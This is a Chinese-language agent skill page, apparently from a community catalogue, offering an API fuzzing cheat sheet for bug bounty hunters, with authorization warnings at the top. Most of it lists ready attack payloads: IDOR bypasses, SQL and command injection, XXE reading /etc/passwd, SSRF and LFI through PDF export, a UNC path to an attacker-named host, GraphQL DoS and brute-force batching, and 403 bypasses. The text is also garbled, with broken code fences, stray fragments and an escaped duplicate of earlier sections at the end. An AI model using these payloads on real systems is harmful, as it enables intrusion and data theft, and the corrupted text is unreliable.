API 模糊测试漏洞赏金计划

api-fuzzing-bug-bounty
分类编程
作者Agentic Awesome Skills 社区
许可MIT
评分4.30/5
使用10.2K

> ⚠️ 仅限授权使用
> 本技能仅用于教育目的或经授权的安全评估。
> 在使用此工具前,您必须获得系统所有者的明确书面许可。
> 未经授权滥用此工具属于非法行为,且被严格禁止。

> 强制确认门禁
> 在运行任何涉及探测、利用、修改、持久化、数据提取或尝试凭据访问目标的命令之前:
> 1. 要求用户提供确切的目标 URL、IP、账户或资源。
> 2. 要求用户确认书面授权及许可范围。
> 3. 展示确切的命令并解释其预期效果。
> 4. 在当前对话中等待明确确认。
>
> 在获得确认之前,请保持只读状态并仅提供防御性指导。优先建议使用沙箱、一次性虚拟机或受控实验室环境。

> 仅限授权使用:仅将此技能用于授权的安全评估、防御验证或受控的教育环境。

Bug Bounty API 模糊测试

目的

为 Bug Bounty 猎手和渗透测试人员提供测试 REST、SOAP 和 GraphQL API 的全面技术。涵盖漏洞发现、身份验证绕过、IDOR 利用及 API 特定攻击向量。

输入/前提条件

  • Burp Suite 或类似的代理工具
  • API 字典(SecLists, api_wordlist)
  • 对 REST/GraphQL/SOAP 协议的理解
  • 用于脚本编写的 Python
  • 目标 API 端点及文档(如有)

输出/交付物

  • 已识别的 API 漏洞
  • IDOR 利用证明
  • 身份验证绕过技术
  • SQL 注入点
  • 未经授权的数据访问文档

---

API 类型概览

| 类型 | 协议 | 数据格式 | 结构 |
|------|----------|-------------|-----------|
| SOAP | HTTP | XML | Header + Body |
| REST | HTTP | JSON/XML/URL | 定义的端点 |
| GraphQL | HTTP | 自定义查询 | 单一端点 |

---

核心工作流

第一步:API 侦察

识别 API 类型并枚举端点:

bash
# 检查 Swagger/OpenAPI 文档
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

使用 Kiterunner 进行 API 发现

kr scan https://target.com -w routes-large.kite

从 Swagger 中提取路径

python3 json2paths.py swagger.json

第二步:身份验证测试

bash
# 测试不同的登录路径
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

检查认证端点的速率限制

若无速率限制 $\rightarrow$ 可进行暴力破解

分别测试移动端与 Web 端 API

不要假设两者的安全控制措施相同

第三步:IDOR 测试

不安全直接对象引用(IDOR)是最常见的 API 漏洞:

bash
# 基础 IDOR
GET /api/users/1234 $\rightarrow$ GET /api/users/1235

即使 ID 基于电子邮件,也尝试数字

/?user_id=111 而非 /[email protected]

测试 /me/orders 与 /user/654321/orders 的区别

IDOR 绕过技术:

bash
# 将 ID 包装在数组中
{"id":111} $\rightarrow$ {"id":[111]}

JSON 包装

{"id":111} $\rightarrow$ {"id":{"id":111}}

发送两次 ID

URL?id=<合法ID>&id=<受害者ID>

通配符注入

{"u
ser_id":"*"}

参数污染 (Parameter pollution)

/api/get_profile?user_id=<victim>&user_id=<legit> {"user_id":<legit_id>,"user_id":<victim_id>}
code
### 第 4 步:注入测试

JSON 中的 SQL 注入:

json
{"id":"56456"} → OK
{"id":"56456 AND 1=1#"} → OK
{"id":"56456 AND 1=2#"} → OK
{"id":"56456 AND 1=3#"} → ERROR (存在漏洞!)
{"id":"56456 AND sleep(15)#"} → 睡眠 15 秒
code
命令注入:
bash

Ruby on Rails


?url=Kernel#open → ?url=|ls

Linux 命令注入

api.url.com/endpoint?name=file.txt;ls%20/
code
XXE 注入:
xml <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
code
通过 API 实现的 SSRF:
html <object data="http://127.0.0.1:8443"/> <img src="http://127.0.0.1:445"/>
code
.NET Path.Combine 漏洞:
bash

如果 .NET 应用使用了 Path.Combine(path_1, path_2)

测试路径遍历

https://example.org/download?filename=a.png https://example.org/download?filename=C:\inetpub\wwwroot\web.config https://example.org/download?filename=\\smb.dns.attacker.com\a.png
code
### 第 5 步:方法测试
bash

测试所有 HTTP 方法

GET /api/v1/users/1 POST /api/v1/users/1 PUT /api/v1/users/1 DELETE /api/v1/users/1 PATCH /api/v1/users/1

切换内容类型 (Content-Type)

Content-Type: application/json → application/xml
code
---

GraphQL 专项测试

内省查询 (Introspection Query)

获取完整的后端 Schema:

graphql
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
code
URL 编码版本:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}
code
### GraphQL IDOR
graphql

尝试访问其他用户 ID


query {
user(id: "OTHER_USER_ID") {
email
password
creditCard
}
}
code
### GraphQL SQL/NoSQL 注入
graphql
mutation {
login(input: {
email: "test' or 1=1--"
password: "password"
}) {
success
jwt
}
}
code
### 绕过频率限制 (批处理 Batching)
graphql
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
mutation {login(input:{email:"[email protected]" password:"password"}){success jwt}}
code
### GraphQL DoS (嵌套查询)
graphql
query {
posts {
comments {
user {
posts {
comments {
user {
posts { ... }
}
}
}
}
}
}
}
code
### GraphQL XSS
bash

通过 GraphQL 端点进行 XSS


http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

URL 编码的 XSS

http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
code
### GraphQL 工具

| 工具 | 用途 |
|------|---------|
| GraphCrawler | Schema 发现 |
| graphw00f | 指纹识别 |
| clairvoyance | Schema 重构 |
| InQL | Burp 插件 |
| GraphQLmap | 漏洞利用 |

---

端点绕过技术

当收到 403/401 响应时,尝试以下绕过方法:

bash

原始被拦截的请求


/api/v1/users/sensitivedata → 403

绕过尝试

/api/v1/users/sensitivedata.json /api/v1/users/sensitivedata? /api/v1/users/sensitivedata/ /api/v1/users/sensitivedata?? /api/v1/users/sensitivedata%20 /api/v1/users/sensitivedata%09 /api/v1/users/sensitivedata# /api/v1/users/sensitivedata&details /api/v1/users/..;/sensitivedata
code
---

输出利用

PDF 导出攻击

html <!-- 通过 PDF 导出实现 LFI -->
code
ort -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- 通过 PDF 导出实现 SSRF -->
<object data="http://127.0.0.1:8443"/>

<!-- 端口扫描 -->
<img src="http://127.0.0.1:445"/>

<!-- IP 泄露 -->
<img src="https://iplogger.com/yourcode.gif"/>

通过限制实现 DoS

bash
# 正常请求
/api/news?limit=100

DoS 尝试

/api/news?limit=9999999999

---

常见 API 漏洞检查清单

| 漏洞 | 描述 |
|---------------|-------------|
| API 暴露 | 未受保护的端点公开暴露 |
| 缓存配置错误 | 敏感数据被错误缓存 |
| Token 泄露 | 响应或 URL 中包含 API 密钥/Token |
| JWT 缺陷 | 签名弱、无过期时间、算法混淆 |
| IDOR / BOLA | 失效的对象级权限控制 |
| 未文档化端点 | 隐藏的管理员/调试端点 |
| 版本差异 | 旧版本 API 存在安全漏洞 |
| 速率限制 | 缺失或可绕过的速率限制 |
| 竞态条件 | TOCTOU 漏洞 |
| XXE 注入 | XML 解析器漏洞利用 |
| 内容类型问题 | 在 JSON/XML 之间切换 |
| HTTP 方法篡改 | 滥用 GET→DELETE/PUT |

---

快速参考

| 漏洞 | 测试 Payload | 风险等级 |
|---------------|--------------|------|
| IDOR | 修改 user_id 参数 | 高 |
| SQLi | 在 JSON 中使用 ' OR 1=1-- | 严重 |
| 命令注入 | ; ls / | 严重 |
| XXE | 包含 ENTITY 的 DOCTYPE | 高 |
| SSRF | 参数中使用内网 IP | 高 |
| 速率限制绕过 | 批量请求 | 中 |
| 方法篡改 | GET→DELETE | 高 |

---

工具参考

| 类别 | 工具 | URL |
|----------|------|-----|
| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
| API Security | apicheck | github.com/BBVA/apicheck |
| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
| API Toolkit | APIKit | github.com/API-Security/APIKit |
| API Keys | API Guesser | api-guesser.netlify.app |
| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
| GraphQL | InQL | github.com/doyensec/inql |
| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
| GraphQL | graphw00f | github.com/dolevf/graphw00f |
| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
| GraphQL | batchql | github.com/assetnote/batchql |
| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
| Wordlists | SecLists | github.com/danielmiessler/SecLists |
| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |

---

约束条件

必须:

  • 分别测试移动端、Web 端和开发者 API

  • 检查所有 API 版本(/v1, /v2, /v3)

  • 验证已认证和未认证的访问权限

禁止:

  • 假设不同 API 版本具有相同的安全控制

  • 跳过对未文档化端点的测试

  • 忽略速率限制检查

建议:

  • 添加 X-Requested-With: XMLHttpRequest 请求头以模拟前端

  • 在 archive.org 中查找历史 API 端点

  • 对敏感操作测试竞态条件

---

示例

示例 1:IDOR 利用

bash
# 原始请求(自身数据)
GET /api/v1
/invoices/12345 Authorization: Bearer <token>

修改后的请求(其他用户的数据)

GET /api/v1/invoices/12346 Authorization: Bearer <token>

响应泄露了其他用户的发票数据

code
### 示例 2:GraphQL 内省 (Introspection)
bash curl -X POST https://target.com/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name,fields{name}}}}"}' ``

---

故障排除

| 问题 | 解决方案 |
|-------|----------|
| API 无返回 | 添加
X-Requested-With: XMLHttpRequest 请求头 |
| 所有端点均返回 401 | 尝试添加
?user_id=1` 参数 |
| GraphQL 内省被禁用 | 使用 clairvoyance 进行 Schema 重构 |
| 触发频率限制 | 使用 IP 轮换或批量请求 |
| 找不到端点 | 检查 Swagger、archive.org 或 JS 文件 |

适用场景

此技能适用于执行概览中所描述的工作流或操作。
\"){id}}\n\n# URL 编码的 XSS\nhttp://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E\n```\n\n### GraphQL 工具\n\n| 工具 | 用途 |\n|------|---------|\n| GraphCrawler | Schema 发现 |\n| graphw00f | 指纹识别 |\n| clairvoyance | Schema 重构 |\n| InQL | Burp 插件 |\n| GraphQLmap | 漏洞利用 |\n\n---\n\n## 端点绕过技术\n\n当收到 403/401 响应时,尝试以下绕过方法:\n\n```bash\n# 原始被拦截的请求\n/api/v1/users/sensitivedata → 403\n\n# 绕过尝试\n/api/v1/users/sensitivedata.json\n/api/v1/users/sensitivedata?\n/api/v1/users/sensitivedata/\n/api/v1/users/sensitivedata??\n/api/v1/users/sensitivedata%20\n/api/v1/users/sensitivedata%09\n/api/v1/users/sensitivedata#\n/api/v1/users/sensitivedata&details\n/api/v1/users/..;/sensitivedata\n```\n\n---\n\n## 输出利用\n\n### PDF 导出攻击\n\n```html\n\n```\nort -->\n